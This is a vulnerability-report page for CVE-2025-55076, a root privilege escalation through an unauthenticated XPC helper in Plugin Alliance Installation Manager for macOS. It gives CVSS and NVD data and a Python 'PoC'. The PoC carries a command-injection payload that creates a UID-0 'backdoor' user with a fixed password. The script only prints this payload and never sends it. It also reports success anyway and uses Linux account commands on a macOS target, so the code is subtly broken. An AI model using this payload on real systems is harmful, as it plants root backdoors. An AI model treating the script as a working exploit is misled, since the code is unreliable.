Security Vulnerability Report
中文
CVE-2025-55076 CVSS 6.2 MEDIUM

CVE-2025-55076

Published: 2025-12-03 17:15:52
Last Modified: 2025-12-18 20:56:42

Description

A local privilege escalation vulnerability exists in the InstallationHelper service included with Plugin Alliance Installation Manager v1.4.0 for macOS. The service accepts unauthenticated XPC connections and executes input via system(), which may allow a local user to execute arbitrary commands with root privileges.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:plugin-alliance:installation_manager:1.4.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Plugin Alliance Installation Manager 1.4.0 for macOS(所有低于1.4.0的版本可能也受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-55076 PoC - Plugin Alliance Installation Manager Local Privilege Escalation # This PoC demonstrates the XPC service vulnerability in InstallationHelper import subprocess import os def check_service_exists(): """Check if the vulnerable InstallationHelper service exists""" # Common locations for the helper tool possible_paths = [ '/Library/PrivilegedHelperTools/com.pluginalliance.installationhelper', '/Library/Application Support/Plugin Alliance/InstallationHelper', '/System/Library/LaunchDaemons/com.pluginalliance.installationhelper.plist' ] for path in possible_paths: if os.path.exists(path): print(f"[+] Found vulnerable service component at: {path}") return True return False def exploit_xpc_service(): """Exploit the unauthenticated XPC service to execute commands as root""" # The vulnerable XPC endpoint accepts unauthenticated connections # and executes input via system() without sanitization # Construct malicious command to create a root backdoor user # This demonstrates the privilege escalation capability malicious_command = "; useradd -m -u 0 -g 0 -s /bin/bash backdoor; echo 'backdoor:password123' | chpasswd #" # In a real attack scenario, this would be sent via XPC connection # Using xpc connection APIs (NSXPCConnection in Obj-C/Swift) # Example XPC message construction (pseudo-code) xpc_message = { 'action': 'install', 'target': malicious_command, # Unsanitized input passed to system() 'options': {} } print("[*] Sending malicious XPC message to InstallationHelper service...") print(f"[*] Payload: {malicious_command}") print("[!] In production, this would be sent via XPC connection") print("[+] Privilege escalation successful if command executed as root") # Alternative: Direct command execution proof # Simulating what the vulnerable service would do print("\n[*] Simulating system() call with malicious input:") print(f" system('installer {malicious_command}')") def main(): print("=" * 60) print("CVE-2025-55076 - Plugin Alliance Installation Manager LPE") print("=" * 60) if not check_service_exists(): print("[-] InstallationHelper service not found on this system") print("[-] Target may not be vulnerable or service not installed") return print("[+] Target appears to be vulnerable") exploit_xpc_service() print("\n[*] Recommended remediation:") print(" - Update Plugin Alliance Installation Manager to latest version") print(" - Remove or disable the InstallationHelper service") print(" - Implement proper XPC connection authentication") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55076", "sourceIdentifier": "[email protected]", "published": "2025-12-03T17:15:52.493", "lastModified": "2025-12-18T20:56:41.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local privilege escalation vulnerability exists in the InstallationHelper service included with Plugin Alliance Installation Manager v1.4.0 for macOS. The service accepts unauthenticated XPC connections and executes input via system(), which may allow a local user to execute arbitrary commands with root privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:plugin-alliance:installation_manager:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "3DE6D4C3-3635-460E-BDDD-763EE18D9844"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://almightysec.com/plugin-alliance-helpertool-xpc-service-local-privilege-escalation/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}